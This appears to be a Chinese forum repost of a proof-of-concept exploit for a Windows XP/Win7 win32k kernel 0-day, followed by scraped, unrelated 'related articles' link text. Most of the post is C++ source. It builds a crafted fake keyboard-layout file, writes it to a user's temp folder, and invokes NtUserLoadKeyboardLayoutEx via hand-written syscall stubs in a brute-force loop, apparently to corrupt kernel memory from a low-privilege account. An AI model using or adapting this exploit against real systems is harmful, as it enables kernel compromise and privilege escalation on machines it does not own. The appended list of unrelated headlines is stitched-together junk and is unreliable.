目前还是ODay,转自DEBUGMAN
老外今天公布的,改了一下XP的可以支持任意权限用户触发

建立一个名为1123的user权限用户运行可触发~
(不是老外,翰海源的instruder公布的。

XP下没对文件句柄做任何检测,所以 lpLayoutFile 只要是任何一个可以写入的地址都可以。
win7里面还会限定这个句柄只能是windows/system32下的文件。)

// poc.cpp :
//#include "stdafx.h"#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>#pragma comment(lib,"User32.lib")#define MAGIC_OFFSET 0x6261
#define WIN7 0
#define InitializeUnicodeStr(p,s) {     \(p)->Length= wcslen(s)*2;           \(p)->MaximumLength = wcslen(s)*2+2; \(p)->Buffer = s;                \
}
#if WIN7_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(IN HANDLE Handle,IN DWORD offTablelow,IN DWORD offTableHigh,IN PUNICODE_STRING puszKeyboardName,IN HKL hKL,IN PUNICODE_STRING puszKLID,IN DWORD dwKLID,IN UINT Flags)
{__asm{mov     eax,11E3hmov edx, 7ffe0300hcall dword ptr [edx]ret     20h}
}
#else
_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(IN HANDLE Handle,IN DWORD offTable,IN PUNICODE_STRING puszKeyboardName,IN HKL hKL,IN PUNICODE_STRING puszKLID,IN DWORD dwKLID,IN UINT Flags)
{__asm{mov eax, 000011c6hmov edx, 7ffe0300hcall dword ptr [edx]retn 1Ch}
}
#endifunsigned char fakeDll2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x44\x01"//0x40 00 00 00   base=fdbbca98 fdbbca00 02443500
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"//
"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xFF\xFF\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash?? 94 10
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";;
UNICODE_STRING  uStr;
UNICODE_STRING uKerbordname;VOID boom_loadlayout()
{KEYBDINPUT      kb={0};INPUT           vInput={0};HANDLE          hFile;DWORD           dwFuckS0ny;HKL             hKbd;WCHAR           lpPath[MAX_PATH]={0};WCHAR           lpLayoutFile[MAX_PATH]={L"C:\\DOCUME~1\\1123\\LOCALS~1\\Temp\\lSp0wns.boom111"};LPVOID          lpShellPtr;hFile = CreateFileW(lpLayoutFile,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,0,CREATE_ALWAYS,0,0);if( hFile == INVALID_HANDLE_VALUE ){printf(" \n[!!] Error:errorcode:%x\n",GetLastError());return ; }WriteFile(  hFile,fakeDll2,sizeof(fakeDll2)-1,&dwFuckS0ny,NULL);CloseHandle(hFile);hFile = CreateFileW (lpLayoutFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);if( hFile == INVALID_HANDLE_VALUE ){printf(" \n[!!] Error\n");return ; }hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101/*HKL NTAPI NtUserLoadKeyboardLayoutEx  (  IN HANDLE   Handle,IN DWORD   offTable,IN PUNICODE_STRING   puszKeyboardName,IN HKL   hKL,IN PUNICODE_STRING   puszKLID,IN DWORD   dwKLID,IN UINT   Flags  )  */CloseHandle(hFile);//printf("\n[+] Done\n");
}
int main(int argc, CHAR* argv[])
{LoadLibraryA("user32.dll");InitializeUnicodeStr(&uStr,L"p3d.dll");//???ú±?D?D?óú3¤?è//fix by instruderInitializeUnicodeStr(&uKerbordname,L"A");uKerbordname.MaximumLength=0;for (int j=0;j<=2;j++){for (int i1=0;i1<=0xff;i1++){for (int i2=0;i2<0xff;i2++){printf("%x,%x\n",i1,i2);fakeDll2[0x3d]=i1;fakeDll2[0x3e]=i2;fakeDll2[0x3f]=j;boom_loadlayout();}}}return 0;
}//

xp/win7 win32k kernel 0day相关推荐

  1. linux拓实n87驱动下载,拓实n87网卡驱动for xp/win7官方版

    拓实n87网卡驱动for xp/win7官方版是一个十分强大的网卡驱动管理软件,拓实n87网卡驱动for xp/win7官方版是ts N87高增益全向无线USB网卡驱动程序,拓实n87全面支持移动cm ...

  2. 发现一个工具,可以清除 xp win7 用户密码,在PE下运行

    发现一个工具,可以清除 xp win7 用户密码,在PE下运行 原版,不是这个,现在都是汉化版,加几个字. 真正的原版,早在几年前就有了.我不记得了. 以前没有这个习惯,写技术日记,记录下来. 现在开 ...

  3. C# winform程序免安装.net framework在XP/win7/win10环境运行

    前文: 首先感谢群里的大神宇内流云 提供的anyexec for windows版本. 经过本人搭建虚拟机在xp环境 使用anyexec运行winfrom程序后,测试通过,如下是用的xp运行winfr ...

  4. XP+WIN7双系统安装,备份,启动菜单修复

    XP+WIN7双系统安装,备份,启动菜单修复 安了一个双系统,把经历与大家分享. 一,        硬盘分区安排准备. 1,我用的是500G硬盘,为了安双系统,计划这样安排.C盘安XP,D盘安WIN ...

  5. 石器时代服务器端支持WIN10,经典石器时代v9.0端(XP.WIN7)架设成功+客户端+架设录像...

    经典石器时代v9.0端(XP.WIN7)架设成功+客户端+架设录像 =========以下是服务器出错原因========= 标准信息: 11 主 函 数: CHAR_Loop 在线人数: 0 最高在 ...

  6. linux安装xp系统安装教程视频教程,Linux系统怎么安装Win7?Linux下安装XP/WIN7系统图文详细教程...

    Linux是一个基于POSIX和UNIX的多用户.多任务.支持多线程和多CPU的操作系统.但是很多电脑用户还是习惯操作windows系统,这时候有些Linux系统用户就会选择在这系统基础上安装XP或W ...

  7. u盘启动安装xp/win7系统详解

    U盘启动安装XP\Win7系统图解 只要安装过操作系统的人,都会对光盘安装系统有所了解.但随着UD启动盘的普及,有必要深入掌握U盘安装操作系统的相关知识. 常用的操作系统有Windows XP和Win ...

  8. 【转】GHOST XP﹢WIN7装双系统图解教程

    http://blog.163.com/js4461751@126/blog/static/23655888201002410833963/GHOST XP﹢WIN7装双系统图解教程 技术文档 201 ...

  9. MFC对话框美化使其具有xp/win7风格

    原先本来调试好好的,后来不知道怎么地,有些调试错误,网上查了说要删除什么文件再重来,后来调试是正确了,但风格变成了最原始的风格,那按键丑得就不说了,还难看. 首先在RES目录下建一个文件,命名 win ...

最新文章

  1. 官司一打 20 年,Linux 抄袭 Unix 终有定论,原告被 “ 熬死 ” 、IBM赔了上亿
  2. catboost是什么?相对于xgboost以及lightgbm有什么优势?如何使用randomSearchCV和Catboost进行组合获取最优参数组合?
  3. redis的hash操作在集中式session中的应用
  4. Ubuntu/Fedora 编译内核教程
  5. hackerrank---Sets - Symmetric Difference
  6. English sentences
  7. 2020 Jiangsu Collegiate Programming Contest
  8. 七步从Angular.JS菜鸟到专家(2):Scopes
  9. 使用python下载加密的流媒体m3u8视频文件,获取电影资源
  10. No.4 Linux用户、组的创建、修改和权限的修改
  11. java quartz配置
  12. 正点原子STM32F103学习笔记(二)
  13. 学计算机没有女朋友绕口令,十句以上绕口令
  14. 地震数据剖面图-matlab
  15. 南卡的电容笔对比倍思哪个好?南卡和倍思电容笔测评
  16. 时光飞逝,思考,实践,伴我一生的经验
  17. microbit python积木编程_TurnipBit—MicroPython开发板:从积木式编程语言开始学做小小创客...
  18. Linux云计算之OpenStack(Keyston - 认证服务)
  19. 华为设备DHCP配置命令
  20. 区块链学习到底学什么?需要去区块链培训机构吗?

热门文章

  1. 运营入门——全栈市场人
  2. 计算机平面设计会学cad吗,请问学建筑与室内设计哪样好是不是都要学CAD
  3. 大数据治理平台建设规划方案
  4. bigquant量化平台笔记
  5. 手机上发表csdn博客
  6. 微软校招面试题3-15 (一道经典算法,一道比较难的题目)
  7. 怪物猎人ns联机显示与服务器连接发生错误,怪物猎人世界网络连不上怎么办?联机失败问题解决方法...
  8. SSH 端口转发多级端口转发
  9. Camera sensor 基本原理
  10. 【每日新闻】谷歌CEO皮查伊:AI会拯救人类,而不是摧毁 | 致远互联签约锤子科技